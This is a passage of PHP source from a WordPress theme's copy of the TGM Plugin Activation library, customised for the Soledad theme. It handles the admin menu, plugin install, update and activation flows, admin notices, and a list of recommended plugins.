				add_action( 'switch_theme', array( $this, 'update_dismiss' ) );
			}

			// Setup the force activation hook.
			if ( true === $this->has_forced_activation ) {
				add_action( 'admin_init', array( $this, 'force_activation' ) );
			}

			// Setup the force deactivation hook.
			if ( true === $this->has_forced_deactivation ) {
				add_action( 'switch_theme', array( $this, 'force_deactivation' ) );
			}

		}

		/**
		 * Prevent activation of plugins which don't meet the minimum version requirement from the
		 * WP native plugins page.
		 *
		 * @since 2.5.0
		 */
		public function add_plugin_action_link_filters() {
			foreach ( $this->plugins as $slug => $plugin ) {
				if ( false === $this->can_plugin_activate( $slug ) ) {
					add_filter( 'plugin_action_links_' . $plugin['file_path'], array(
						$this,
						'filter_plugin_action_links_activate'
					), 20 );
				}

				if ( true === $plugin['force_activation'] ) {
					add_filter( 'plugin_action_links_' . $plugin['file_path'], array(
						$this,
						'filter_plugin_action_links_deactivate'
					), 20 );
				}

				if ( false !== $this->does_plugin_require_update( $slug ) ) {
					add_filter( 'plugin_action_links_' . $plugin['file_path'], array(
						$this,
						'filter_plugin_action_links_update'
					), 20 );
				}
			}
		}

		/**
		 * Remove the 'Activate' link on the WP native plugins page if the plugin does not meet the
		 * minimum version requirements.
		 *
		 * @param array $actions Action links.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function filter_plugin_action_links_activate( $actions ) {
			unset( $actions['activate'] );

			return $actions;
		}

		/**
		 * Remove the 'Deactivate' link on the WP native plugins page if the plugin has been set to force activate.
		 *
		 * @param array $actions Action links.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function filter_plugin_action_links_deactivate( $actions ) {
			unset( $actions['deactivate'] );

			return $actions;
		}

		/**
		 * Add a 'Requires update' link on the WP native plugins page if the plugin does not meet the
		 * minimum version requirements.
		 *
		 * @param array $actions Action links.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function filter_plugin_action_links_update( $actions ) {
			$actions['update'] = sprintf( '<a href="%1$s" title="%2$s" class="edit">%3$s</a>', esc_url( $this->get_tgmpa_status_url( 'update' ) ), esc_attr__( 'This plugin needs to be updated to be compatible with your theme.', 'tgmpa' ), esc_html__( 'Update Required', 'tgmpa' ) );

			return $actions;
		}

		/**
		 * Handles calls to show plugin information via links in the notices.
		 *
		 * We get the links in the admin notices to point to the TGMPA page, rather
		 * than the typical plugin-install.php file, so we can prepare everything
		 * beforehand.
		 *
		 * WP does not make it easy to show the plugin information in the thickbox -
		 * here we have to require a file that includes a function that does the
		 * main work of displaying it, enqueue some styles, set up some globals and
		 * finally call that function before exiting.
		 *
		 * Down right easy once you know how...
		 *
		 * Returns early if not the TGMPA page.
		 *
		 * @return null Returns early if not the TGMPA page.
		 * @global string $tab Used as iframe div class names, helps with styling
		 * @global string $body_id Used as the iframe body ID, helps with styling
		 *
		 * @since 2.1.0
		 *
		 */
		public function admin_init() {

			if ( ! $this->is_tgmpa_page() ) {
				return;
			}

			if ( isset( $_REQUEST['tab'] ) && 'plugin-information' === $_REQUEST['tab'] ) {
				// Needed for install_plugin_information().
				require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

				wp_enqueue_style( 'plugin-install' );

				global $tab, $body_id;
				$body_id = 'plugin-information';
				// @codingStandardsIgnoreStart
				$tab = 'plugin-information';
				// @codingStandardsIgnoreEnd

				install_plugin_information();

				exit;
			}

		}

		/**
		 * Enqueue thickbox scripts/styles for plugin info.
		 *
		 * Thickbox is not automatically included on all admin pages, so we must
		 * manually enqueue it for those pages.
		 *
		 * Thickbox is only loaded if the user has not dismissed the admin
		 * notice or if there are any plugins left to install and activate.
		 *
		 * @since 2.1.0
		 */
		public function thickbox() {

			if ( ! get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) {
				add_thickbox();
			}

		}

		/**
		 * Adds submenu page if there are plugin actions to take.
		 *
		 * This method adds the submenu page letting users know that a required
		 * plugin needs to be installed.
		 *
		 * This page disappears once the plugin has been installed and activated.
		 *
		 * @since 1.0.0
		 *
		 * @see TGM_Plugin_Activation::init()
		 * @see TGM_Plugin_Activation::install_plugins_page()
		 */
		public function admin_menu() {

			// Make sure privileges are correct to see the page.
			if ( ! current_user_can( 'install_plugins' ) ) {
				return;
			}

			$args = apply_filters( 'tgmpa_admin_menu_args', array(
				'parent_slug' => $this->parent_slug,                     // Parent Menu slug.
				'page_title'  => $this->strings['page_title'],           // Page title.
				'menu_title'  => $this->strings['menu_title'],           // Menu title.
				'capability'  => $this->capability,                      // Capability.
				'menu_slug'   => $this->menu,                            // Menu slug.
				'function'    => array( $this, 'install_plugins_page' ), // Callback.
			) );

			$this->add_admin_menu( $args );

		}

		/**
		 * Add the menu item.
		 *
		 * @param array $args Menu item configuration.
		 *
		 * @since 2.5.0
		 *
		 */
		protected function add_admin_menu( array $args ) {
			if ( has_filter( 'tgmpa_admin_menu_use_add_theme_page' ) ) {
				_deprecated_function( 'The "tgmpa_admin_menu_use_add_theme_page" filter', '2.5.0', esc_html__( 'Set the parent_slug config variable instead.', 'tgmpa' ) );
			}

			if ( 'themes.php' === $this->parent_slug ) {
				$this->page_hook = call_user_func( 'add_theme_page', $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] );

			} else {
				$this->page_hook = call_user_func( 'add_submenu_page', $args['parent_slug'], $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] );
			}

			add_submenu_page( 'soledad_dashboard_welcome', esc_html__( 'Install Plugins', 'soledad' ), esc_html__( 'Install Plugins', 'soledad' ), 'manage_options', $this->menu, [
				$this,
				'install_plugins_page'
			], 3 );
		}

		/**
		 * Echoes plugin installation form.
		 *
		 * This method is the callback for the admin_menu method function.
		 * This displays the admin page and form area where the user can select to install and activate the plugin.
		 * Aborts early if we're processing a plugin installation action.
		 *
		 * @return null Aborts early if we're processing a plugin installation action.
		 * @since 1.0.0
		 *
		 */
		public function install_plugins_page() {

			// Store new instance of plugin table in object.
			$plugin_table = new Soledad_DashPluginsTable();

			// Return early if processing a plugin installation action.
			if ( ( ( 'tgmpa-bulk-install' === $plugin_table->current_action() || 'tgmpa-bulk-update' === $plugin_table->current_action() ) && $plugin_table->process_bulk_actions() ) || $this->do_plugin_install() ) {
				return;
			}

			// Force refresh of available plugin information so we'll know about manual updates/deletes.
			wp_clean_plugins_cache( false );

			?>
            <div class="tgmpa wrap">
                <h2><?php echo esc_html( get_admin_page_title() ); ?></h2>
				<?php $plugin_table->prepare_items(); ?>

				<?php
				if ( ! empty( $this->message ) && is_string( $this->message ) ) {
					echo wp_kses_post( $this->message );
				}
				$penci_note = isset( $_GET['penci-dismis'] ) ? $_GET['penci-dismis'] : '';
				if ( 'penci_dismiss_notices' == $penci_note ) {
					if ( ! get_option( 'penci_dismiss_notices' ) ) {
						add_option( 'penci_dismiss_notices', 'yes' );
					}
					update_option( 'penci_dismiss_notices', 'yes' );
				} else if ( 'penci_dismiss_notices_show' == $penci_note ) {
					if ( ! get_option( 'penci_dismiss_notices' ) ) {
						add_option( 'penci_dismiss_notices', 'no' );
					}
					update_option( 'penci_dismiss_notices', 'no' );
				}
				$penci_dismis_notes = get_option( 'penci_dismiss_notices', '' );
				?>
				<?php if ( 'yes' != $penci_dismis_notes ): ?>
                    <style>.dis-missnote p {
                            font-size: 16px;
                        }
                        .penci-plugins-notice {
                            padding: 0 20px 0px;
                            border: 1px solid #cccccc;
                            margin-bottom: 20px;
                        }
                        .penci-notice-head {
                            display: inline-block;
                            background: #02CA02;
                            padding: 0 5px;
                            color: #fff;
                            font-weight: 500;
                        }</style>
                    <div class="penci-plugins-notice">
                        <h3 style="font-size: 20px; line-height: 1.3;"><?php _e( 'Please be aware that this theme does not require any specific plugins to function properly. You can choose which plugins you want to use and activate them according to your needs and preferences.<br>
                         For regular websites, you only need to install two plugins: "Penci Shortcodes & Performance" and "Elementor".<br>Please note that all other plugins are optional add-ons that provide additional features and functionalities to your website. Below you can find more details about the features of each plugin:', 'tgmpa' ); ?></h3>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Shortcodes & Performance:</span> <?php esc_html_e( 'You should activate this plugin. It provides some shortcodes inside the editor & language shortcodes to help you build a multiple language website. You also need this plugin to optimize your site speed.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Vafpress Post Formats UI:</span> <?php esc_html_e( 'It is a plugin to help you can create different post formats: video, gallery, links, quote..', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Elementor Page Builder:</span> <?php esc_html_e( 'A page builder - helps you can build your pages with multiple customization options.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Recipe:</span> <?php esc_html_e( 'A plugin to help you can create Food Recipes.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Review:</span> <?php esc_html_e( 'A plugin to help you can create reviews for your posts.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Soledad Demo Importer:</span> <?php esc_html_e( 'A plugin to help you can import any demo from our demos. After the installed demo, you can deactivate & delete it if you want.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Contact Form 7:</span> <?php esc_html_e( 'A plugin to help you create Contact Forms.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">MailChimp for WordPress:</span> <?php esc_html_e( 'Allowing your visitors to subscribe to your newsletter should be easy. With this plugin, it finally is. This plugin helps you grow your Mailchimp lists and write better newsletters through various methods.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">HubSpot - All-in-One Marketing:</span> <?php esc_html_e( 'Capture, organize and engage web visitors with free live chat, forms, CRM (contact management), email marketing, and analytics.', 'tgmpa' ); ?>
                        </p>
                        <div class="dis-missnote">
                            <p><?php esc_html_e( 'Understand it?', 'tgmpa' ); ?> <a
                                        href="?page=tgmpa-install-plugins&penci-dismis=penci_dismiss_notices"><?php esc_html_e( 'Click here to hide this note.', 'tgmpa' ); ?></a>
                            </p>
                        </div>
                    </div>
				<?php endif; ?>

				<?php $plugin_table->views(); ?>

                <form id="tgmpa-plugins" action="" method="post">
                    <input type="hidden" name="tgmpa-page" value="<?php echo esc_attr( $this->menu ); ?>"/>
                    <input type="hidden" name="plugin_status"
                           value="<?php echo esc_attr( $plugin_table->view_context ); ?>"/>
					<?php $plugin_table->display(); ?>
                </form>

				<?php do_action( 'tgmpa_after_install_plugins_page', $this ); ?>

                <br/>
                <br/>

                <hr/>
                <h3><?php esc_html_e( 'Tested & Compatible Plugins', 'soledad' ); ?></h3>
				<?php

				add_thickbox();
				wp_enqueue_script( 'plugin-install' );
				wp_enqueue_script( 'updates' );

				$tested_plugins = array(
					'woocommerce'            => array(
						'name' => 'WooCommerce',
						'desc' => 'WooCommerce is a free eCommerce plugin that allows you to sell anything, beautifully. Built to integrate seamlessly with WordPress, WooCommerce is the world’s favorite eCommerce solution that gives both store owners and developers complete control.',
					),
					'invoicing'              => array(
						'name' => 'GetPaid',
						'desc' => 'Payment forms, Buy now buttons and Invoicing System - Lightweight, extensible and very easy to use Online Payments and Invoicing plugin.',
					),
					'seo-by-rank-math'       => array(
						'name' => 'RankMath',
						'desc' => 'Rank Math SEO is the Best WordPress SEO plugin combines the features of many SEO tools in a single package & helps you multiply your SEO traffic.'
					),
					'web-stories'            => array(
						'name' => 'Google Web Stories',
						'desc' => 'A plugin from Google for WordPress. Web Stories are a free, open-web, visual storytelling format for the web, enabling you to easily create visual narratives with engaging animations and tappable interactions, and immerse your readers in great and fast-loading full-screen experiences.',
					),
					'wordpress-seo'          => array(
						'name' => 'Yoast SEO',
						'desc' => 'Improve your WordPress SEO: Write better content and have a fully optimized WordPress site using the Yoast SEO plugin.'
					),
					'co-authors-plus'        => array(
						'name' => 'Co-Authors Plus',
						'desc' => 'Assign multiple bylines to posts, pages, and custom post types via a search-as-you-type input box.'
					),
					'w3-total-cache'         => array(
						'name' => 'W3 Total Cache',
						'desc' => 'A Caching Plugin for Performance Optimization. Integrated caching: CDN, Page Caching, Object, Fragment, Database support.'
					),
					'wpforms-lite'           => array(
						'name' => 'WPForms',
						'desc' => 'A plugin allows you to create contact forms, feedback form, subscription forms, payment forms, and other types of forms. It is more extensive than "Contact Form 7" plugin above. If you just need to create Contact Forms, you can use plugin "Contact Form 7" only.'
					),
					'buddypress'             => array(
						'name' => 'BuddyPress',
						'desc' => 'BuddyPress helps site builders & developers add community features to their websites, with user profiles, activity streams, and more!'
					),
					'bbpress'                => array(
						'name' => 'bbPress',
						'desc' => 'bbPress is forum software for WordPress.',
					),
					'advanced-custom-fields' => array(
						'name' => 'Advanced Custom Fields',
						'desc' => 'Advanced Custom Fields turns WordPress sites into a fully-fledged content management system by giving you all the tools to do more with your data.'
					),
				)
				?>

                <table id="recommended-plugins" class="widefat importers striped">
                    <tbody>
					<?php
					foreach ( $tested_plugins as $plugin_slug => $plugin ) {

						$url = add_query_arg( array(
							'tab'       => 'plugin-information',
							'plugin'    => $plugin_slug,
							'from'      => 'import',
							'TB_iframe' => 'true',
							'width'     => 600,
							'height'    => 550,
						), network_admin_url( 'plugin-install.php' ) );
						?>
                        <tr class="importer-item">
                            <td class="plugin-name">
                                <span class="importer-title"><a href="<?php echo esc_url( $url ) ?>"
                                                                class="thickbox open-plugin-details-modal"><?php echo esc_html( $plugin['name'] ); ?></a></span>
                            </td>
                            <td class="plugin-desc">
								<?php echo $plugin['desc'] ?>
                            </td>
                        </tr>
						<?php
					}
					?>
                    </tbody>
                </table>
            </div>
			<?php

		}

		/**
		 * Installs, updates or activates a plugin depending on the action link clicked by the user.
		 *
		 * Checks the $_GET variable to see which actions have been
		 * passed and responds with the appropriate method.
		 *
		 * Uses WP_Filesystem to process and handle the plugin installation
		 * method.
		 *
		 * @return boolean True on success, false on failure.
		 * @uses WP_Filesystem
		 * @uses WP_Error
		 * @uses WP_Upgrader
		 * @uses Plugin_Upgrader
		 * @uses Plugin_Installer_Skin
		 * @uses Plugin_Upgrader_Skin
		 *
		 * @since 1.0.0
		 *
		 */
		protected function do_plugin_install() {

			if ( empty( $_GET['plugin'] ) ) {
				return false;
			}

			// All plugin information will be stored in an array for processing.
			$slug = $this->sanitize_key( urldecode( $_GET['plugin'] ) );

			if ( ! isset( $this->plugins[ $slug ] ) ) {
				return false;
			}

			// Was an install or upgrade action link clicked?
			if ( ( isset( $_GET['tgmpa-install'] ) && 'install-plugin' === $_GET['tgmpa-install'] ) || ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) ) {

				$install_type = 'install';
				if ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) {
					$install_type = 'update';
				}

				check_admin_referer( 'tgmpa-' . $install_type, 'tgmpa-nonce' );

				// Pass necessary information via URL if WP_Filesystem is needed.
				$url = wp_nonce_url( add_query_arg( array(
					'plugin'                 => urlencode( $slug ),
					'tgmpa-' . $install_type => $install_type . '-plugin',
				), $this->get_tgmpa_url() ), 'tgmpa-' . $install_type, 'tgmpa-nonce' );

				$method = ''; // Leave blank so WP_Filesystem can populate it as necessary.

				if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, array() ) ) ) {
					return true;
				}

				if ( ! WP_Filesystem( $creds ) ) {
					request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, array() ); // Setup WP_Filesystem.

					return true;
				}

				/* If we arrive here, we have the filesystem. */

				// Prep variables for Plugin_Installer_Skin class.
				$extra         = array();
				$extra['slug'] = $slug; // Needed for potentially renaming of directory name.
				$source        = $this->get_download_url( $slug );
				$api           = ( 'repo' === $this->plugins[ $slug ]['source_type'] ) ? $this->get_plugins_api( $slug ) : null;
				$api           = ( false !== $api ) ? $api : null;

				$url = add_query_arg( array(
					'action' => $install_type . '-plugin',
					'plugin' => urlencode( $slug )
				), 'update.php' );

				if ( ! class_exists( 'Plugin_Upgrader', false ) ) {
					require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
				}

				$skin_args = array(
					'type'   => ( 'bundled' !== $this->plugins[ $slug ]['source_type'] ) ? 'web' : 'upload',
					'title'  => sprintf( $this->strings['installing'], $this->plugins[ $slug ]['name'] ),
					'url'    => esc_url_raw( $url ),
					'nonce'  => $install_type . '-plugin_' . $slug,
					'plugin' => '',
					'api'    => $api,
					'extra'  => $extra,
				);

				if ( 'update' === $install_type ) {
					$skin_args['plugin'] = $this->plugins[ $slug ]['file_path'];
					$skin                = new Plugin_Upgrader_Skin( $skin_args );

				} else {
					$skin = new Plugin_Installer_Skin( $skin_args );
				}

				// Create a new instance of Plugin_Upgrader.
				$upgrader = new Plugin_Upgrader( $skin );

				// Perform the action and install the plugin from the $source urldecode().
				add_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 );

				if ( 'update' === $install_type ) {
					// Inject our info into the update transient.
					$to_inject                    = array( $slug => $this->plugins[ $slug ] );
					$to_inject[ $slug ]['source'] = $source;
					$this->inject_update_info( $to_inject );

					$upgrader->upgrade( $this->plugins[ $slug ]['file_path'] );

				} else {
					$upgrader->install( $source );
				}

				remove_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 );

				// Make sure we have the correct file path now the plugin is installed/updated.
				$this->populate_file_path( $slug );

				// Only activate plugins if the config option is set to true and the plugin isn't
				// already active (upgrade).
				if ( $this->is_automatic && ! $this->is_plugin_active( $slug ) ) {
					$plugin_activate = $upgrader->plugin_info(); // Grab the plugin info from the Plugin_Upgrader method.
					if ( false === $this->activate_single_plugin( $plugin_activate, $slug, true ) ) {
						return true; // Finish execution of the function early as we encountered an error.
					}
				}

				$this->show_tgmpa_version();

				// Display message based on if all plugins are now active or not.
				if ( $this->is_tgmpa_complete() ) {
					echo '<p>', sprintf( esc_html( $this->strings['complete'] ), '<a href="' . esc_url( self_admin_url() ) . '">' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . '</a>' ), '</p>';
					echo '<style type="text/css">#adminmenu .wp-submenu li.current { display: none !important; }</style>';

				} else {
					echo '<p><a href="', esc_url( $this->get_tgmpa_url() ), '" target="_parent">', esc_html( $this->strings['return'] ), '</a></p>';
				}

				return true;

			} elseif ( isset( $this->plugins[ $slug ]['file_path'], $_GET['tgmpa-activate'] ) && 'activate-plugin' === $_GET['tgmpa-activate'] ) {
				// Activate action link was clicked.
				check_admin_referer( 'tgmpa-activate', 'tgmpa-nonce' );

				if ( false === $this->activate_single_plugin( $this->plugins[ $slug ]['file_path'], $slug ) ) {
					return true; // Finish execution of the function early as we encountered an error.
				}
			}

			return false;

		}

		/**
		 * Inject information into the 'update_plugins' site transient as WP checks that before running an update.
		 *
		 * @param array $plugins The plugin information for the plugins which are to be updated.
		 *
		 * @since 2.5.0
		 *
		 */
		public function inject_update_info( $plugins ) {

			$repo_updates = get_site_transient( 'update_plugins' );

			if ( ! is_object( $repo_updates ) ) {
				$repo_updates = new stdClass;
			}

			foreach ( $plugins as $slug => $plugin ) {

				$file_path = $plugin['file_path'];

				if ( empty( $repo_updates->response[ $file_path ] ) ) {
					$repo_updates->response[ $file_path ] = new stdClass;
				}

				// We only really need to set package, but let's do all we can in case WP changes something.
				$repo_updates->response[ $file_path ]->slug        = $slug;
				$repo_updates->response[ $file_path ]->plugin      = $file_path;
				$repo_updates->response[ $file_path ]->new_version = $plugin['version'];
				$repo_updates->response[ $file_path ]->package     = $plugin['source'];
				if ( empty( $repo_updates->response[ $file_path ]->url ) && ! empty( $plugin['external_url'] ) ) {
					$repo_updates->response[ $file_path ]->url = $plugin['external_url'];
				}
			}

			set_site_transient( 'update_plugins', $repo_updates );
		}

		/**
		 * Adjust the plugin directory name if necessary.
		 *
		 * The final destination directory of a plugin is based on the subdirectory name found in the
		 * (un)zipped source. In some cases - most notably GitHub repository plugin downloads -, this
		 * subdirectory name is not the same as the expected slug and the plugin will not be recognized
		 * as installed. This is fixed by adjusting the temporary unzipped source subdirectory name to
		 * the expected plugin slug.
		 *
		 * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/.
		 * @param string $remote_source Path to upgrade/zip-file-name.tmp.
		 * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin.
		 *
		 * @return string $source
		 * @since 2.5.0
		 *
		 */
		public function maybe_adjust_source_dir( $source, $remote_source, $upgrader ) {

			if ( ! $this->is_tgmpa_page() || ! is_object( $GLOBALS['wp_filesystem'] ) ) {
				return $source;
			}

			// Check for single file plugins.
			$source_files = array_keys( $GLOBALS['wp_filesystem']->dirlist( $remote_source ) );
			if ( 1 === count( $source_files ) && false === $GLOBALS['wp_filesystem']->is_dir( $source ) ) {

				return $source;
			}

			// Multi-file plugin, let's see if the directory is correctly named.
			$desired_slug = '';

			// Figure out what the slug is supposed to be.
			if ( false === $upgrader->bulk && ! empty ( $upgrader->skin->options['extra']['slug'] ) ) {
				$desired_slug = $upgrader->skin->options['extra']['slug'];
			} else {
				// Bulk installer contains less info, so fall back on the info registered here.
				foreach ( $this->plugins as $slug => $plugin ) {
					if ( ! empty( $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) && $plugin['name'] === $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) {
						$desired_slug = $slug;
						break;
					}
				}
				unset( $slug, $plugin );
			}

			if ( ! empty( $desired_slug ) ) {
				$subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) );

				if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) {
					$from = untrailingslashit( $source );
					$to   = trailingslashit( $remote_source ) . $desired_slug;

					if ( true === $GLOBALS['wp_filesystem']->move( $from, $to ) ) {
						return trailingslashit( $to );

					} else {
						return new WP_Error( 'rename_failed', esc_html__( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'tgmpa' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'tgmpa' ), array(
							'found'    => $subdir_name,
							'expected' => $desired_slug
						) );

					}
				} elseif ( empty( $subdir_name ) ) {
					return new WP_Error( 'packaged_wrong', esc_html__( 'The remote plugin package consists of more than one file, but the files are not packaged in a folder.', 'tgmpa' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'tgmpa' ), array(
						'found'    => $subdir_name,
						'expected' => $desired_slug
					) );
				}
			}

			return $source;
		}

		/**
		 * Activate a single plugin and send feedback about the result to the screen.
		 *
		 * @param string $file_path Path within wp-plugins/ to main plugin file.
		 * @param string $slug Plugin slug.
		 * @param bool $automatic Whether this is an automatic activation after an install. Defaults to false.
		 *                          This determines the styling of the output messages.
		 *
		 * @return bool False if an error was encountered, true otherwise.
		 * @since 2.5.0
		 *
		 */
		protected function activate_single_plugin( $file_path, $slug, $automatic = false ) {

			if ( $this->can_plugin_activate( $slug ) ) {
				$activate = activate_plugin( $file_path );

				if ( is_wp_error( $activate ) ) {
					echo '<div id="message" class="error"><p>', wp_kses_post( $activate->get_error_message() ), '</p></div>', '<p><a href="', esc_url( $this->get_tgmpa_url() ), '" target="_parent">', esc_html( $this->strings['return'] ), '</a></p>';

					return false; // End it here if there is an error with activation.

				} else {
					if ( ! $automatic ) {
						// Make sure message doesn't display again if bulk activation is performed
						// immediately after a single activation.
						if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK.
							echo '<div id="message" class="updated"><p>', esc_html( $this->strings['activated_successfully'] ), ' <strong>', esc_html( $this->plugins[ $slug ]['name'] ), '.</strong></p></div>';
						}
					} else {
						// Simpler message layout for use on the plugin install page.
						echo '<p>', esc_html( $this->strings['plugin_activated'] ), '</p>';
					}
				}
			} elseif ( $this->is_plugin_active( $slug ) ) {
				// No simpler message format provided as this message should never be encountered
				// on the plugin install page.
				echo '<div id="message" class="error"><p>', sprintf( esc_html( $this->strings['plugin_already_active'] ), '<strong>' . esc_html( $this->plugins[ $slug ]['name'] ) . '</strong>' ), '</p></div>';

			} elseif ( $this->does_plugin_require_update( $slug ) ) {
				if ( ! $automatic ) {
					// Make sure message doesn't display again if bulk activation is performed
					// immediately after a single activation.
					if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK.
						echo '<div id="message" class="error"><p>', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), '<strong>' . esc_html( $this->plugins[ $slug ]['name'] ) . '</strong>' ), '</p></div>';
					}
				} else {
					// Simpler message layout for use on the plugin install page.
					echo '<p>', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), esc_html( $this->plugins[ $slug ]['name'] ) ), '</p>';
				}
			}

			return true;
		}

		/**
		 * Echoes required plugin notice.
		 *
		 * Outputs a message telling users that a specific plugin is required for
		 * their theme. If appropriate, it includes a link to the form page where
		 * users can install and activate the plugin.
		 *
		 * Returns early if we're on the Install page.
		 *
		 * @return null Returns early if we're on the Install page.
		 * @global object $current_screen
		 *
		 * @since 1.0.0
		 *
		 */
		public function notices() {

			// Remove nag on the install page / Return early if the nag message has been dismissed.
			if ( $this->is_tgmpa_page() || get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) {
				return;
			}

			// Store for the plugin slugs by message type.
			$message = array();

			// Initialize counters used to determine plurality of action link texts.
			$install_link_count  = 0;
			$update_link_count   = 0;
			$activate_link_count = 0;

			foreach ( $this->plugins as $slug => $plugin ) {

				if ( $this->is_plugin_active( $slug ) && false === $this->does_plugin_have_update( $slug ) ) {
					continue;
				}

				if ( ! $this->is_plugin_installed( $slug ) ) {
					$install_link_count ++;

					if ( current_user_can( 'install_plugins' ) ) {
						if ( true === $plugin['required'] ) {
							$message['notice_can_install_required'][] = $slug;
						} else {
							$message['notice_can_install_recommended'][] = $slug;
						}
					}
				} else {
					if ( ! $this->is_plugin_active( $slug ) && $this->can_plugin_activate( $slug ) ) {
						$activate_link_count ++;

						if ( current_user_can( 'activate_plugins' ) ) {
							if ( true === $plugin['required'] ) {
								$message['notice_can_activate_required'][] = $slug;
							} else {
								$message['notice_can_activate_recommended'][] = $slug;
							}
						} 
					}

					if ( $this->does_plugin_require_update( $slug ) && false === $this->does_plugin_have_update( $slug ) ) {
						continue;

					} else {
						$update_link_count ++;

						if ( current_user_can( 'install_plugins' ) ) {
							if ( $this->does_plugin_require_update( $slug ) ) {
								$message['notice_ask_to_update'][] = $slug;
							} elseif ( false !== $this->does_plugin_have_update( $slug ) ) {
								$message['notice_ask_to_update_maybe'][] = $slug;
							}
						}
					}
				}
			}
			unset( $slug, $plugin );

			// If we have notices to display, we move forward.
			if ( ! empty( $message ) ) {
				krsort( $message ); // Sort messages.
				$rendered = '';

				// As add_settings_error() wraps the final message in a <p> and as the final message can't be
				// filtered, using <p>'s in our html would render invalid html output.
				$line_template = '<span style="display: block; margin: 0.5em 0.5em 0 0; clear: both;">%s</span>' . "\n";

				// If dismissable is false and a message is set, output it now.
				if ( ! $this->dismissable && ! empty( $this->dismiss_msg ) ) {
					$rendered .= sprintf( $line_template, wp_kses_post( $this->dismiss_msg ) );
				}

				// Render the individual message lines for the notice.
				foreach ( $message as $type => $plugin_group ) {
					$linked_plugins = array();

					// Get the external info link for a plugin if one is available.
					foreach ( $plugin_group as $plugin_slug ) {
						$linked_plugins[] = $this->get_info_link( $plugin_slug );
					}
					unset( $plugin_slug );

					$count          = count( $plugin_group );
					$linked_plugins = array_map( array( 'TGM_Utils', 'wrap_in_em' ), $linked_plugins );
					$last_plugin    = array_pop( $linked_plugins ); // Pop off last name to prep for readability.
					$imploded       = empty( $linked_plugins ) ? $last_plugin : ( implode( ', ', $linked_plugins ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'tgmpa' ) . ' ' . $last_plugin );

					$rendered .= sprintf( $line_template, sprintf( translate_nooped_plural( $this->strings[ $type ], $count, 'tgmpa' ), $imploded, $count ) );

					if ( 0 === strpos( $type, 'notice_cannot' ) ) {
						$rendered .= $this->strings['contact_admin'];
					}
				}
				unset( $type, $plugin_group, $linked_plugins, $count, $last_plugin, $imploded );

				// Setup action links.
				$action_links = array(
					'install'  => '',
					'update'   => '',
					'activate' => '',
					'dismiss'  => $this->dismissable ? '<a href="' . esc_url( add_query_arg( 'tgmpa-dismiss', 'dismiss_admin_notices' ) ) . '" class="dismiss-notice" target="_parent">' . esc_html( $this->strings['dismiss'] ) . '</a>' : '',
				);

				$link_template = '<a href="%2$s">%1$s</a>';

				if ( current_user_can( 'install_plugins' ) ) {
					if ( $install_link_count > 0 ) {
						$action_links['install'] = sprintf( $link_template, translate_nooped_plural( $this->strings['install_link'], $install_link_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'install' ) ) );
					}
					if ( $update_link_count > 0 ) {
						$action_links['update'] = sprintf( $link_template, translate_nooped_plural( $this->strings['update_link'], $update_link_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'update' ) ) );
					}
				}

				if ( current_user_can( 'activate_plugins' ) && $activate_link_count > 0 ) {
					$action_links['activate'] = sprintf( $link_template, translate_nooped_plural( $this->strings['activate_link'], $activate_link_count, 'tgmpa' ), esc_url( $this->get_tgmpa_status_url( 'activate' ) ) );
				}

				$action_links = apply_filters( 'tgmpa_notice_action_links', $action_links );

				$action_links = array_filter( (array) $action_links ); // Remove any empty array items.
				if ( ! empty( $action_links ) && is_array( $action_links ) ) {
					$action_links = sprintf( $line_template, implode( ' | ', $action_links ) );
					$rendered     .= apply_filters( 'tgmpa_notice_rendered_action_links', $action_links );
				}

				// Register the nag messages and prepare them to be processed.
